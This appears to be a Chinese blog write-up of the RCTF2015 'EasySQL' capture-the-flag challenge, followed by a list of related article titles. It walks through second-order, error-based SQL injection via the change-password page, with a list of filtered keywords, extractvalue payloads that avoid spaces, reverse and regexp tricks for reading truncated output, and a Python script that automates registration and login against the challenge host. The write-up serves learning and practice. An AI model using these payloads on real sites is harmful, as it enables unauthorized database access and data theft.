当前位置: 首页 > ai >正文

[RCTF2015]EasySQL

这道题看了答案才找到注入点。没想到这边闭合用的是双引号......

首先注册一个用户a",然后正常登录,修改密码的时候出现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a"" and pwd='202cb962ac59075b964b07152d234b70'' at line 1

说明修改密码时根据用户名从数据库查找记录,并且有报错,应该是二次注入、报错注入。

于是注册username=a"or(select extractvalue(1,concat(0x7e,(select database()))))#

发现出现报错invalid string!

测试一下过滤:

`
@
<

/**/
<>
!(<>)
and
sleep
order
benchmark
like
rlike
mid
left
right
substr
handler
ascii
ord
char
hex
floor
file
outfile
load_file
pg_sleep

username=a"or(select(extractvalue(1,concat(0x7e,(select(database()))))))#

得到XPATH syntax error: '~web_sqli'

可以用脚本加快效率:

import requestsurl_register = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/register.php'
url_login = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/login.php'
url_cp = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/changepwd.php'session = requests.session()
username = 'a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))))#'
data = {"username": username,"password": "123","email": "123"
}
r0 = session.post(url_register, data=data)
print(r0.text)
data = {"username": username,"password": "123"
}
r1 = session.post(url_login, data=data)
print(r1.text)
data = {"oldpass": "123","newpass": "456"
}
r2 = session.post(url_cp, data=data)
print(r2.text)

a"or select(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schma=database()))))

得到XPATH syntax error: '~article,flag,users'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag"))))))#

得到XPATH syntax error: '~flag'

a"or(select(extractvalue(1,concat(0x7e,(select(flag)from(flag))))))#

XPATH syntax error: '~RCTF{Good job! But flag not her'

被骗了。

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="article"))))))#

得到XPATH syntax error: '~title,content'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(title))from(article))))))#

XPATH syntax error: '~lcsg,wyzb,zrtbf'

应该是uers表中

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))))))#

得到XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

发现最后一个字段不完整,但是这里字符串截取的函数都没有。不过可以用reverse

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(group_concat(column_name)))from(information_schema.columns)where(table_name="users"))))))#

得到XPATH syntax error: '~ereh_s1_galf_laer,liame,dwp,ema'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))))#

得到XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))))))#

得到XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

看来必须得截取了,可是我想不出其他截取方法了。

union select能行但是用不了空格,不知道还有什么方法绕过空格。

limit能行但是同样绕不过空格。

突然想到可以用insert:

STUFF(原字符串, 开始位置, 要删除的长度, 要插入的字符串)

SELECT STUFF('abcdef', 2, 3, 'xyz'); -- 结果为 'axyzef'

a"or(select(extractvalue(1,concat(0x7e,(select(insert(group_concat(real_flag_1s_here)),1,32,'')from(users))))))#

insert也没过滤了,只是我字典里没有而已......

可以用正则匹配regexp('^flag')

-- 匹配以 "a" 开头的字符串
SELECT * FROM users WHERE name REGEXP '^a';

-- 匹配以 "z" 结尾的字符串
SELECT * FROM users WHERE name REGEXP 'z$';

a"or(select(extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where((real_flag_1s_here)regexp('^flag')))))))#

得到XPATH syntax error: '~flag{ac1e45ec-849b-4d7f-a62a-e3'

然后逆序一下

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^flag')))))))#

得到XPATH syntax error: '~}d7d1b894853e-a26a-f7d4-b948-ce'

flag{ac1e45ec-849b-4d7f-a62a-e358498b1d7d}

总结一下:这道题第一个难点就是找到注入点,闭合需要考虑双引号。二次注入比较隐蔽,需要排查所有可能存在数据库查询的地方,比如这道题,就登录页面、index页面、修改密码页面存在查询数据库。另外,这道题有个难点就是记录太多怎么办,一开始考虑全部group_concat然后再利用字符串截取但是能用的截取函数都被禁用了。补充了一个知识就是条件语句中能使用正则匹配,筛选某字段数据是特定开头或结尾的记录。

http://www.xdnf.cn/news/18009.html

相关文章:

  • 11.苹果ios逆向-FridaHook-ios中的算法-CC_SHA1(sha1算法)
  • maxwell安装部署
  • 裸机框架:按键模组
  • PCA 实现多向量压缩:首个主成分的深层意义
  • 网络通信的基本概念与设备
  • 链路聚合与软件网桥
  • Android面试指南(二)
  • 记SpringBoot3.x + Thymeleaf 项目实现(MVC架构模式)
  • 校园综合数据分析可视化大屏 -Vue纯前端静态页面项目
  • Ugit使用记录
  • Git 入门指南:核心概念与常用命令全解析
  • Docker-14.项目部署-DockerCompose
  • 【Jenkins】02 - 自动化部署配置
  • 【Linux系列】如何在 Linux 服务器上快速获取公网
  • PAT 1068 Find More Coins
  • 补充:用信号量实现前驱关系
  • 【架构师干货】数据库管理系统
  • JavaWeb前端(HTML,CSS具体案例)
  • 火狐(Mozilla Firefox)浏览器离线安装包下载
  • 【JavaEE】多线程 -- 单例模式
  • 2025:AI狂飙下的焦虑与追问
  • SWE-bench:真实世界软件工程任务的“试金石”
  • GANs生成对抗网络生成手写数字的Pytorch实现
  • 原型和原型链的问题
  • mac电脑开发嵌入式基于Clion(stm32CubeMX)
  • ThinkPHP8学习篇(三):控制器
  • 《解构WebSocket断网重连:指数退避算法的前端工业级实践指南》
  • pair之于vector、queue(vector<pair<int,int>>)
  • Yolov模型的演变
  • K8S集群环境搭建